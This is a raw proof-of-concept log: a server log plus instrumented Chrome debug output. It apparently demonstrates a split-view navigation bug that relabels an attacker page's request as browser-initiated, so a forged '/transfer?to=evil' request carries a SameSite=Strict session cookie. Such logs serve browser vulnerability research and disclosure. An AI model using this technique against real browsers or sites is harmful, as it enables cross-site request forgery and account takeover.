================ SERVER LOG ================ [*] POC server listening on 0.0.0.0:8080 [REQ] host=localhost:8080 path=/victim.html Sec-Fetch-Site=none Cookie= [REQ] host=127.0.0.1:8080 path=/attacker.html Sec-Fetch-Site=none Cookie= [REQ] host=127.0.0.1:8080 path=/favicon.ico Sec-Fetch-Site=same-origin Cookie= [REQ] host=localhost:8080 path=/favicon.ico Sec-Fetch-Site=same-origin Cookie=session=victim-strict-secret [REQ] host=127.0.0.1:8080 path=/attacker2.html Sec-Fetch-Site=same-origin Cookie= [REQ] host=localhost:8080 path=/transfer?to=evil&amt=1000000 Sec-Fetch-Site=none Cookie=session=victim-strict-secret [!!!] /transfer hit -> Sec-Fetch-Site: none (LAUNDERED to browser-initiated) | SameSite=Strict cookie WAS SENT ================ CHROME [POC ...] LINES ================ [1424:1424:0516/060822.326648:ERROR:content/renderer/render_frame_impl.cc:3841] [POC RENDERER] FrameHost->OpenURL(NEW_SPLIT_VIEW, http://127.0.0.1:8080/attacker2.html) initiator=http://127.0.0.1:8080 [1446:1446:0516/060824.427345:ERROR:content/renderer/render_frame_impl.cc:3841] [POC RENDERER] FrameHost->OpenURL(NEW_SPLIT_VIEW, http://localhost:8080/transfer?to=evil&amt=1000000) initiator=http://127.0.0.1:8080 [1338:1338:0516/060824.427844:ERROR:chrome/browser/ui/browser.cc:1918] [POC BROWSER] Partner-pane branch HIT. incoming.url=http://localhost:8080/transfer?to=evil&amt=1000000 incoming.is_renderer_initiated=1 incoming.initiator_origin=http://127.0.0.1:8080 partner_tab_current_url=http://localhost:8080/victim.html [1338:1338:0516/060824.427877:ERROR:chrome/browser/ui/browser.cc:1935] [POC BROWSER] -> LoadURLWithParams on partner tab: load_params.is_renderer_initiated=0 load_params.initiator_origin=